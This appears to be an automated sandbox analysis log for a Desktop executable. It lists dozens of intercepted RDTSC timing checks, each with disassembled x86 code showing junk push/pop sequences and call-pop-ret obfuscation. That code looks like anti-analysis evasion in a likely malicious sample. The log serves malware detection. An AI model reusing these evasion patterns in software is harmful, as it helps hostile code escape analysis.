Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788E64 second address: 611A47 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F76A5412C13h 0x00000010 pop eax 0x00000011 call 00007F76A5412C0Bh 0x00000016 mov dword ptr [ebp+122D1EB4h], ecx 0x0000001c pop edi 0x0000001d push dword ptr [ebp+122D03B5h] 0x00000023 or edx, dword ptr [ebp+122D2998h] 0x00000029 call dword ptr [ebp+122D36CCh] 0x0000002f pushad 0x00000030 ja 00007F76A5412C1Ch 0x00000036 xor eax, eax 0x00000038 mov dword ptr [ebp+122D23A0h], ebx 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 cld 0x00000043 mov dword ptr [ebp+122D2CC0h], eax 0x00000049 pushad 0x0000004a jmp 00007F76A5412C12h 0x0000004f popad 0x00000050 mov esi, 0000003Ch 0x00000055 mov dword ptr [ebp+122D1FBEh], ecx 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f mov dword ptr [ebp+122D1EA0h], eax 0x00000065 jnc 00007F76A5412C11h 0x0000006b lodsw 0x0000006d clc 0x0000006e add eax, dword ptr [esp+24h] 0x00000072 cld 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 pushad 0x00000078 mov esi, 33349F84h 0x0000007d xor dword ptr [ebp+122D1EA0h], edx 0x00000083 popad 0x00000084 push eax 0x00000085 pushad 0x00000086 push eax 0x00000087 push edx 0x00000088 push eax 0x00000089 push edx 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F20 second address: 788F3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A53B3889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F3D second address: 788F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F43 second address: 788F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F47 second address: 788F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F4B second address: 788F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F76A53B3878h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F5F second address: 788F64 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F64 second address: 788F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F76A53B3880h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F82 second address: 789036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A5412C0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, 4BAB6DD8h 0x00000010 jmp 00007F76A5412C0Ah 0x00000015 push 00000003h 0x00000017 movzx esi, si 0x0000001a push 00000000h 0x0000001c sub dword ptr [ebp+122D1EAEh], edi 0x00000022 push 00000003h 0x00000024 mov dword ptr [ebp+122D17FAh], ecx 0x0000002a push 98D07541h 0x0000002f jne 00007F76A5412C11h 0x00000035 add dword ptr [esp], 272F8ABFh 0x0000003c jmp 00007F76A5412C0Fh 0x00000041 sub dword ptr [ebp+122D1EA5h], ebx 0x00000047 lea ebx, dword ptr [ebp+1244AD2Fh] 0x0000004d push 00000000h 0x0000004f push esi 0x00000050 call 00007F76A5412C08h 0x00000055 pop esi 0x00000056 mov dword ptr [esp+04h], esi 0x0000005a add dword ptr [esp+04h], 00000015h 0x00000062 inc esi 0x00000063 push esi 0x00000064 ret 0x00000065 pop esi 0x00000066 ret 0x00000067 and ecx, 6D78F3DEh 0x0000006d xchg eax, ebx 0x0000006e push edx 0x0000006f jg 00007F76A5412C0Ch 0x00000075 pop edx 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a jmp 00007F76A5412C0Bh 0x0000007f pushad 0x00000080 popad 0x00000081 popad 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789036 second address: 78903C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789091 second address: 789097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789097 second address: 78909C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78909C second address: 7890BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F76A5412C06h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F76A5412C0Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7890BA second address: 78916D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76A53B3888h 0x00000008 jl 00007F76A53B3876h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F76A53B3878h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov ecx, dword ptr [ebp+122D2A50h] 0x00000034 jmp 00007F76A53B387Ch 0x00000039 call 00007F76A53B3879h 0x0000003e push eax 0x0000003f jmp 00007F76A53B3888h 0x00000044 pop eax 0x00000045 push eax 0x00000046 jmp 00007F76A53B3882h 0x0000004b mov eax, dword ptr [esp+04h] 0x0000004f push ecx 0x00000050 jmp 00007F76A53B3881h 0x00000055 pop ecx 0x00000056 mov eax, dword ptr [eax] 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78916D second address: 789173 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789173 second address: 789208 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A53B387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jno 00007F76A53B3888h 0x00000013 pop eax 0x00000014 push ecx 0x00000015 jc 00007F76A53B3885h 0x0000001b jmp 00007F76A53B387Fh 0x00000020 pop edx 0x00000021 push 00000003h 0x00000023 mov dx, 2D5Ah 0x00000027 mov dl, 80h 0x00000029 push 00000000h 0x0000002b mov dword ptr [ebp+122D1C46h], edx 0x00000031 push 00000003h 0x00000033 jc 00007F76A53B3896h 0x00000039 jg 00007F76A53B3890h 0x0000003f push 9024FBBEh 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F76A53B3883h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7892E4 second address: 789341 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A5412C0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov esi, dword ptr [ebp+122D2C74h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F76A5412C08h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1EA5h], edi 0x00000034 push 7D9FA463h 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F76A5412C10h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789341 second address: 789345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789345 second address: 7893CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F76A5412C06h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 xor dword ptr [esp], 7D9FA4E3h 0x00000018 mov dword ptr [ebp+122D3329h], ebx 0x0000001e mov dword ptr [ebp+122D1B93h], esi 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F76A5412C08h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 mov edi, dword ptr [ebp+122D29E4h] 0x00000046 push 00000000h 0x00000048 mov edx, dword ptr [ebp+122D1B77h] 0x0000004e mov ecx, dword ptr [ebp+122D2C74h] 0x00000054 push 00000003h 0x00000056 mov edi, ebx 0x00000058 mov edi, ebx 0x0000005a push A26EAFC0h 0x0000005f pushad 0x00000060 pushad 0x00000061 jmp 00007F76A5412C12h 0x00000066 push edx 0x00000067 pop edx 0x00000068 popad 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A965D second address: 7A9698 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F76A4C44F4Eh 0x00000008 push ecx 0x00000009 jmp 00007F76A4C44F4Bh 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 jnc 00007F76A4C44F46h 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F76A4C44F4Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9698 second address: 7A969E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A969E second address: 7A96A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96A3 second address: 7A96B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F76A53AB96Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96B6 second address: 7A96BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96BF second address: 7A96C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96C3 second address: 7A96C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA02C second address: 7AA030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA030 second address: 7AA043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F76A4C44F46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA162 second address: 7AA175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76A53AB96Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA175 second address: 7AA179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAA88 second address: 7AAABE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A53AB96Ch 0x00000007 jl 00007F76A53AB966h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 ja 00007F76A53AB966h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a jmp 00007F76A53AB973h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAD5B second address: 7AAD68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAD68 second address: 7AAD6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB1A6 second address: 7AB1E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C44F59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F76A4C44F54h 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F76A4C44F4Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 jo 00007F76A4C44F4Ch 0x0000001e ja 00007F76A4C44F46h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ACA84 second address: 7ACAA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F76A53AB966h 0x0000000a jmp 00007F76A53AB978h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEA2E second address: 7AEA34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEA34 second address: 7AEA4A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76A53AB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AEA4A second address: 7AEA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE067 second address: 7AE06D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE06D second address: 7AE071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE071 second address: 7AE083 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F76A53AB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B699F second address: 7B69AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B69AA second address: 7B69B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F76A53AB966h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6AEF second address: 7B6AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6AF3 second address: 7B6AF8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6D8B second address: 7B6D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB7A0 second address: 7BB7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBADF second address: 7BBAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC49F second address: 7BC4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC8D9 second address: 7BC8DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC9DD second address: 7BC9E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC9E1 second address: 7BC9E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC9E7 second address: 7BC9ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC9ED second address: 7BCA07 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jmp 00007F76A4C44F4Dh 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA07 second address: 7BCA0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA0D second address: 7BCA53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C44F53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F76A4C44F48h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push edi 0x0000002b pop edi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA53 second address: 7BCA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA58 second address: 7BCA5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCA5D second address: 7BCA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A53AB96Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F76A53AB96Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEA37 second address: 7BEA59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C44F58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEA59 second address: 7BEA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEA5D second address: 7BEA61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF557 second address: 7BF577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F76A53AB975h 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF577 second address: 7BF57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF57B second address: 7BF57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF57F second address: 7BF5CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push eax 0x00000009 mov dword ptr [ebp+122D2128h], edi 0x0000000f pop edi 0x00000010 push 00000000h 0x00000012 mov edi, dword ptr [ebp+122D2C24h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F76A4C44F48h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000016h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 push eax 0x00000037 jmp 00007F76A4C44F4Fh 0x0000003c pop eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 pop eax 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF5CE second address: 7BF5F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A53AB979h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jo 00007F76A53AB970h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C001C second address: 7C0020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0BB9 second address: 7C0BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1E64 second address: 7C1E68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3E5B second address: 7C3E67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3E67 second address: 7C3E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C531C second address: 7C5321 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5321 second address: 7C532F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C74BC second address: 7C74E4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F76A53AB968h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F76A53AB979h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C532F second address: 7C5335 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5335 second address: 7C533B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C533B second address: 7C533F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C85D8 second address: 7C85DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C948A second address: 7C948F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
